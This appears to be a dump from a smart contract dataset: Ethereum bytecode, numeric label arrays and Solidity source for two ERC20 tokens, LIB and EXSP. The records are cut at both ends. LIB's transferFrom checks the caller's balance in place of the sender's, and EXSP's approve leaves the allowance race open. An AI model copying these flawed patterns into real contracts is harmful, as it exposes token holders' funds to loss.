08354040283529160200191610400565b820191906000526020600020905b8154815290600101906020018083116103e357829003601f168201915b505050505081565b6003546001600160a01b031681565b60085460ff1681565b600b5481565b60065481565b60055481565b6003546001600160a01b03163314610491576040805162461bcd60e51b815260206004820152601560248201527f546f6d6942616c6c6f743a20464f5242494444454e0000000000000000000000604482015290519081900360640190fd5b600061049c83610a8e565b905060018214806104ad5750600282145b6104fe576040805162461bcd60e51b815260206004820152601060248201527f4f6e6c7920766f74652031206f72203200000000000000000000000000000000604482015290519081900360640190fd5b6001818101805460ff19168217905560028201839055815460008481526020929092526040909120805490910190556004546001600160a01b0384811691161461054e578054600b805490910190555b505050565b600061055e33610a8e565b90506001600160a01b0382163314156105be576040805162461bcd60e51b815260206004820152601d60248201527f53656c662d64656c65676174696f6e20697320646973616c6c6f776564000000604482015290519081900360640190fd5b6001600160a01b0382811660009081526020819052604090206001015461010090041615610666576001600160a01b0391821660009081526020819052604090206001015461010090049091169033821415610661576040805162461bcd60e51b815260206004820152601860248201527f466f756e64206c6f6f7020696e2064656c65676174696f6e0000000000000000604482015290519081900360640190fd5b6105be565b6001818101805460ff191682177fffffffffffffffffffffff0000000000000000000000000000000000000000ff166101006001600160a01b0386169081029190911790915560009081526020819052604090209081015460ff161561070d57815460028201546000908152600160205260409020805490910190556004546001600160a01b03163314156106fc5760006106ff565b81545b600b8054909101905561054e565b815481540181556004546001600160a01b031633141561072e576000610731565b81545b600b80549091019055505050565b600160208190527fd9d16d34ffb15ba3a3d852f0d403e2ce1d691fb54de27ac87cd2f993f3ec330f5460009182527fcc69885fda6bcc1a4ace058b4a62bf5e179ea78fd58a1ccd71c22cc9b688792f54111561079d57506001610800565b600160208190527fd9d16d34ffb15ba3a3d852f0d403e2ce1d691fb54de27ac87cd2f993f3ec330f546000919091527fcc69885fda6bcc1a4ace058b4a62bf5e179ea78fd58a1ccd71c22cc9b688792f5410156107fc57506002610800565b5060005b90565b600c5481565b60008061081461073f565b905060018114801561083057506729a2241af62c0000600b5410155b1561083f576001915050610800565b600091505090565b600a805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104005780601f106103d557610100808354040283529160200191610400565b600060208190529081526040902080546001820154600290920154909160ff8116916101009091046001600160a01b03169084565b6004546001600160a01b031681565b6002546001600160a01b031681565b60075481565b6003546000906001600160a01b0316331461095d576040805162461bcd60e51b815260206004820152601560248201527f546f6d6942616c6c6f743a20464f5242494444454e0000000000000000000000604482015290519081900360640190fd5b6007544210156109b4576040805162461bcd60e51b815260206004820152601460248201527f62616c6c6f74206e6f742079657420656e646564000000000000000000000000604482015290519081900360640190fd5b60085460ff1615610a0c576040805162461bcd60e51b815260206004820152601b60248201527f656e642068617320616c7265616479206265656e2063616c6c65640000000000604482015290519081900360640190fd5b6008805460ff19166001179055610a21610809565b905090565b6000610a30610c47565b50506001600160a01b039081166000908152602081815260409182902082516080810184528154808252600183015460ff81161515948301949094526101009093049094169284019290925260029091015460609092019190915290565b60006006544210610ae6576040805162461bcd60e51b815260206004820152600f60248201527f42616c6c6f7420697320656e6465640000000000000000000000000000000000604482015290519081900360640190fd5b6001600160a01b0382166000908152602081905260409020600181015460ff1615610b58576040805162461bcd60e51b815260206004820152601160248201527f596f7520616c726561647920766f746564000000000000000000000000000000604482015290519081900360640190fd5b600354604080517f70a082310000000000000000000000000000000000000000000000000000000081526001600160a01b038681166004830152915191909216916370a08231916024808301926020929190829003018186803b158015610bbe57600080fd5b505afa158015610bd2573d6000803e3d6000fd5b505050506040513d6020811015610be857600080fd5b5051815401808255610c41576040805162461bcd60e51b815260206004820152601460248201527f486173206e6f20726967687420746f20766f7465000000000000000000000000604482015290519081900360640190fd5b92915050565b60405180608001604052806000815260200160001515815260200160006001600160a01b0316815260200160008152509056fea2646970667358221220bbfc5749ac7140d0cc1913e4a9ed42570464c5e5eda633c986c3a4a6e3a1496964736f6c6343000606003360806040523480156200001157600080fd5b5060405162000d2638038062000d26833981810160405260e08110156200003757600080fd5b815160208301516040808501516060860151608087015160a0880180519451969895979396929591949293820192846401000000008211156200007957600080fd5b9083019060208201858111156200008f57600080fd5b8251640100000000811182820188101715620000aa57600080fd5b82525081516020918201929091019080838360005b83811015620000d9578181015183820152602001620000bf565b50505050905090810190601f168015620001075780820380516001836020036101000a031916815260200191505b50604052602001805160405193929190846401000000008211156200012b57600080fd5b9083019060208201858111156200014157600080fd5b82516401000000008111828201881017156200015c57600080fd5b82525081516020918201929091019080838360005b838110156200018b57818101518382015260200162000171565b50505050905090810190601f168015620001b95780820380516001836020036101000a031916815260200191505b506040525050600180546001600160a01b03808b166001600160a01b031992831617909255600380548a84169083161790556004889055600587905560028054928716929091169190911790555081516200021c90600790602085019062000245565b5080516200023290600890602084019062000245565b505042600a5550620002ea945050505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106200028857805160ff1916838001178555620002b8565b82800160010185558215620002b8579182015b82811115620002b85782518255916020019190600101906200029b565b50620002c6929150620002ca565b5090565b620002e791905b80821115620002c65760008155600101620002d1565b90565b610a2c80620002fa6000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c80635c19a95c11610097578063c1dfe65211610066578063c1dfe6521461028c578063c9c3d42e14610294578063efbe1c1c1461029c578063f4396e2a146102a4576100f5565b80635c19a95c1461024e57806361dcd7ab146102745780638a4d5a671461027c578063a8e4fb9014610284576100f5565b80631590a056116100d35780631590a056146101b75780632ddbd13a146101df5780633197cbb6146101f95780633a372c9414610201576100f5565b80630a59a98c146100fa5780630c340a241461017757806312fa6feb1461019b575b600080fd5b6101026102ca565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561013c578181015183820152602001610124565b50505050905090810190601f1680156101695780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017f610358565b604080516001600160a01b039092168252519081900360200190f35b6101a3610367565b604080519115158252519081900360200190f35b6101dd600480360360208110156101cd57600080fd5b50356001600160a01b0316610370565b005b6101e7610412565b60408051918252519081900360200190f35b6101e7610418565b6102276004803603602081101561021757600080fd5b50356001600160a01b031661041e565b6040805193845291151560208401526001600160a01b031682820152519081900360600190f35b6101dd6004803603602081101561026457600080fd5b50356001600160a01b031661044a565b6101e761061b565b610102610621565b61017f61067c565b61017f61068b565b6101e761069a565b6101a36106a0565b6101e7600480360360208110156102ba57600080fd5b50356001600160a01b03166107c7565b6007805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103505780601f1061032557610100808354040283529160200191610350565b820191906000526020600020905b81548152906001019060200180831161033357829003601f168201915b505050505081565b6002546001600160a01b031681565b60065460ff1681565b6002546001600160a01b031633146103cf576040805162461bcd60e51b815260206004820152601560248201527f546f6d6942616c6c6f743a20464f5242494444454e0000000000000000000000604482015290519081900360640190fd5b60006103da8261081d565b6001808201805460ff191690911790556003549091506001600160a01b0383811691161461040e5780546009805490910190555b5050565b60095481565b60045481565b6000602081905290815260409020805460019091015460ff81169061010090046001600160a01b031683565b60006104553361081d565b90506001600160a01b0382163314156104b5576040805162461bcd60e51b815260206004820152601d60248201527f53656c662d64656c65676174696f6e20697320646973616c6c6f776564000000604482015290519081900360640190fd5b6001600160a01b038281166000908152602081905260409020600101546101009004161561055d576001600160a01b0391821660009081526020819052604090206001015461010090049091169033821415610558576040805162461bcd60e51b815260206004820152601860248201527f466f756e64206c6f6f7020696e2064656c65676174696f6e0000000000000000604482015290519081900360640190fd5b6104b5565b6001818101805460ff191682177fffffffffffffffffffffff0000000000000000000000000000000000000000ff166101006001600160a01b0386169081029190911790915560009081526020819052604090209081015460ff16156105e8576003546001600160a01b03163314156105d75760006105da565b81545b600980549091019055610616565b815481540181556003546001600160a01b031633141561060957600061060c565b81545b6009805490910190555b505050565b600a5481565b6008805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103505780601f1061032557610100808354040283529160200191610350565b6003546001600160a01b031681565b6001546001600160a01b031681565b60055481565b6002546000906001600160a01b03163314610702576040805162461bcd60e51b815260206004820152601560248201527f546f6d6942616c6c6f743a20464f5242494444454e0000000000000000000000604482015290519081900360640190fd5b600554421015610759576040805162461bcd60e51b815260206004820152601460248201527f62616c6c6f74206e6f742079657420656e646564000000000000000000000000604482015290519081900360640190fd5b60065460ff16156107b1576040805162461bcd60e51b815260206004820152601b60248201527f656e642068617320616c7265616479206265656e2063616c6c65640000000000604482015290519081900360640190fd5b506006805460ff19166001179081905560ff1690565b60006107d16109d6565b50506001600160a01b03908116600090815260208181526040918290208251606081018452815480825260019092015460ff811615159382019390935261010090920490931691015290565b60006004544210610875576040805162461bcd60e51b815260206004820152600f60248201527f42616c6c6f7420697320656e6465640000000000000000000000000000000000604482015290519081900360640190fd5b6001600160a01b0382166000908152602081905260409020600181015460ff16156108e7576040805162461bcd60e51b815260206004820152601a60248201527f596f7520616c726561647920706172746963697061746520696e000000000000604482015290519081900360640190fd5b600254604080517f70a082310000000000000000000000000000000000000000000000000000000081526001600160a01b038681166004830152915191909216916370a08231916024808301926020929190829003018186803b15801561094d57600080fd5b505afa158015610961573d6000803e3d6000fd5b505050506040513d602081101561097757600080fd5b50518154018082556109d0576040805162461bcd60e51b815260206004820152601e60248201527f486173206e6f20726967687420746f20706172746963697061746520696e0000604482015290519081900360640190fd5b92915050565b60408051606081018252600080825260208201819052918101919091529056fea26469706673582212204586a241de61f718706c1e4531ebe478cd2287ee939c9b89ee990ba87528726064736f6c63430006060033a2646970667358221220226d05125fa3bbc54228234dc2a72d3622465061e55e07c7d104215d0cf19e9b64736f6c63430006060033
[ 16, 5, 19 ]
0xf2f0d1160ad0d96970dbf61df3f6ecffdb0d3631
pragma solidity ^0.4.18; contract ERC20Interface { function totalSupply() public constant returns (uint256 _totalSupply); function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract LIB is ERC20Interface { uint256 public constant decimals = 5; string public constant symbol = "LIB"; string public constant name = "LibraChain"; uint256 public _totalSupply = 60000000000000; // Owner of this contract address public owner; // Balances Lib for each account mapping(address => uint256) private balances; // Owner of account approves the transfer of an amount to another account mapping(address => mapping (address => uint256)) private allowed; // List of approved investors mapping(address => bool) private approvedInvestorList; // deposit mapping(address => uint256) private deposit; // totalTokenSold uint256 public totalTokenSold = 0; /** * @dev Fix for the ERC20 short address attack. */ modifier onlyPayloadSize(uint size) { if(msg.data.length < size + 4) { revert(); } _; } /// @dev Constructor function LIB() public { owner = msg.sender; balances[owner] = _totalSupply; } /// @dev Gets totalSupply /// @return Total supply function totalSupply() public constant returns (uint256) { return _totalSupply; } /// @dev Gets account's balance /// @param _addr Address of the account /// @return Account balance function balanceOf(address _addr) public constant returns (uint256) { return balances[_addr]; } /// @dev check address is approved investor /// @param _addr address function isApprovedInvestor(address _addr) public constant returns (bool) { return approvedInvestorList[_addr]; } /// @dev get ETH deposit /// @param _addr address get deposit /// @return amount deposit of an buyer function getDeposit(address _addr) public constant returns(uint256){ return deposit[_addr]; } /// @dev Transfers the balance from msg.sender to an account /// @param _to Recipient address /// @param _amount Transfered amount in unit /// @return Transfer status function transfer(address _to, uint256 _amount) public returns (bool) { // if sender's balance has enough unit and amount >= 0, // and the sum is not overflow, // then do transfer require(_to != address(0)); require(_amount <= balances[msg.sender]); require(_amount >= 0); if ( (balances[msg.sender] >= _amount) && (_amount >= 0) && (balances[_to] + _amount > balances[_to]) ) { balances[msg.sender] -= _amount; balances[_to] += _amount; Transfer(msg.sender, _to, _amount); return true; } else { return false; } } // Send _value amount of tokens from address _from to address _to // The transferFrom method is used for a withdraw workflow, allowing contracts to send // tokens on your behalf, for example to "deposit" to a contract address and/or to charge // fees in sub-currencies; the command should fail unless the _from account has // deliberately authorized the sender of the message via some mechanism; we propose // these standardized APIs for approval: function transferFrom( address _from, address _to, uint256 _amount ) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[msg.sender]); require(_amount >= 0); if (balances[_from] >= _amount && _amount > 0 && allowed[_from][msg.sender] >= _amount) { balances[_from] -= _amount; allowed[_from][msg.sender] -= _amount; balances[_to] += _amount; Transfer(_from, _to, _amount); return true; } else { return false; } } // Allow _spender to withdraw from your account, multiple times, up to the _value amount. // If this function is called again it overwrites the current allowance with _value. function approve(address _spender, uint256 _amount) public returns (bool success) { require((_amount == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _amount; Approval(msg.sender, _spender, _amount); return true; } // get allowance function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function () public payable{ revert(); } }
0x6060604052600436106100d0576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100d5578063095ea7b31461016357806318160ddd146101bd57806323b872dd146101e6578063313ce5671461025f5780633eaaf86b1461028857806370a08231146102b15780638da5cb5b146102fe57806395d89b41146103535780639b1fe0d4146103e1578063a9059cbb14610432578063b5f7f6361461048c578063dd62ed3e146104b5578063e1254fba14610521575b600080fd5b34156100e057600080fd5b6100e861056e565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561012857808201518184015260208101905061010d565b50505050905090810190601f1680156101555780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561016e57600080fd5b6101a3600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105a7565b604051808215151515815260200191505060405180910390f35b34156101c857600080fd5b6101d061072e565b6040518082815260200191505060405180910390f35b34156101f157600080fd5b610245600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610737565b604051808215151515815260200191505060405180910390f35b341561026a57600080fd5b610272610a4c565b6040518082815260200191505060405180910390f35b341561029357600080fd5b61029b610a51565b6040518082815260200191505060405180910390f35b34156102bc57600080fd5b6102e8600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610a57565b6040518082815260200191505060405180910390f35b341561030957600080fd5b610311610aa0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561035e57600080fd5b610366610ac6565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a657808201518184015260208101905061038b565b50505050905090810190601f1680156103d35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156103ec57600080fd5b610418600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610aff565b604051808215151515815260200191505060405180910390f35b341561043d57600080fd5b610472600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b55565b604051808215151515815260200191505060405180910390f35b341561049757600080fd5b61049f610de3565b6040518082815260200191505060405180910390f35b34156104c057600080fd5b61050b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610de9565b6040518082815260200191505060405180910390f35b341561052c57600080fd5b610558600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610e70565b6040518082815260200191505060405180910390f35b6040805190810160405280600a81526020017f4c69627261436861696e0000000000000000000000000000000000000000000081525081565b60008082148061063357506000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b151561063e57600080fd5b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008054905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561077457600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156107c257600080fd5b600082101515156107d257600080fd5b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156108215750600082115b80156108a9575081600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b15610a405781600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610a45565b600090505b9392505050565b600581565b60005481565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f4c4942000000000000000000000000000000000000000000000000000000000081525081565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610b9257600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610be057600080fd5b60008210151515610bf057600080fd5b81600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015610c40575060008210155b8015610ccb5750600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401115b15610dd85781600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610ddd565b600090505b92915050565b60065481565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490509190505600a165627a7a7230582088a9f4f5137309f9b6370c0e10ecb17adb0643c042d3d689a7ee28d42fa6a0b80029
[ 0, 19, 2 ]
0xf2f22155e5333a1d8e5e433a576d835537caa5d7
pragma solidity ^0.4.18; // ---------------------------------------------------------------------------- // 'THE EXTRAORDINARY SPACEMEN' token contract // // Deployed to : 0xee8c4f0B02b1eC8DBE5C8cDD5B41d7D8f660c84c // Symbol : EXSP // Name : THE EXTRAORDINARY SPACEMEN // Total supply: 8 // Decimals : 8 // // Enjoy. // // (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence. // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract TheExtraordinarySpacemen is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function TheExtraordinarySpacemen() public { symbol = "EXSP"; name = "THE EXTRAORDINARY SPACEMEN"; decimals = 8; _totalSupply = 800000000; balances[0xee8c4f0B02b1eC8DBE5C8cDD5B41d7D8f660c84c] = _totalSupply; Transfer(address(0), 0xee8c4f0B02b1eC8DBE5C8cDD5B41d7D8f660c84c, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
0x608060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610117578063095ea7b3146101a757806318160ddd1461020c57806323b872dd14610237578063313ce567146102bc5780633eaaf86b146102ed57806370a082311461031857806379ba50971461036f5780638da5cb5b1461038657806395d89b41146103dd578063a293d1e81461046d578063a9059cbb146104b8578063b5931f7c1461051d578063cae9ca5114610568578063d05c78da14610613578063d4ee1d901461065e578063dc39d06d146106b5578063dd62ed3e1461071a578063e6cb901314610791578063f2fde38b146107dc575b600080fd5b34801561012357600080fd5b5061012c61081f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016c578082015181840152602081019050610151565b50505050905090810190601f1680156101995780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b357600080fd5b506101f2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108bd565b604051808215151515815260200191505060405180910390f35b34801561021857600080fd5b506102216109af565b6040518082815260200191505060405180910390f35b34801561024357600080fd5b506102a2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109fa565b604051808215151515815260200191505060405180910390f35b3480156102c857600080fd5b506102d1610c8a565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102f957600080fd5b50610302610c9d565b6040518082815260200191505060405180910390f35b34801561032457600080fd5b50610359600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ca3565b6040518082815260200191505060405180910390f35b34801561037b57600080fd5b50610384610cec565b005b34801561039257600080fd5b5061039b610e8b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103e957600080fd5b506103f2610eb0565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610432578082015181840152602081019050610417565b50505050905090810190601f16801561045f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561047957600080fd5b506104a26004803603810190808035906020019092919080359060200190929190505050610f4e565b6040518082815260200191505060405180910390f35b3480156104c457600080fd5b50610503600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f6a565b604051808215151515815260200191505060405180910390f35b34801561052957600080fd5b5061055260048036038101908080359060200190929190803590602001909291905050506110f3565b6040518082815260200191505060405180910390f35b34801561057457600080fd5b506105f9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611117565b604051808215151515815260200191505060405180910390f35b34801561061f57600080fd5b506106486004803603810190808035906020019092919080359060200190929190505050611366565b6040518082815260200191505060405180910390f35b34801561066a57600080fd5b50610673611397565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106c157600080fd5b50610700600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113bd565b604051808215151515815260200191505060405180910390f35b34801561072657600080fd5b5061077b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611521565b6040518082815260200191505060405180910390f35b34801561079d57600080fd5b506107c660048036038101908080359060200190929190803590602001909291905050506115a8565b6040518082815260200191505060405180910390f35b3480156107e857600080fd5b5061081d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115c4565b005b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108b55780601f1061088a576101008083540402835291602001916108b5565b820191906000526020600020905b81548152906001019060200180831161089857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600660008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055403905090565b6000610a45600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f4e565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b0e600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373f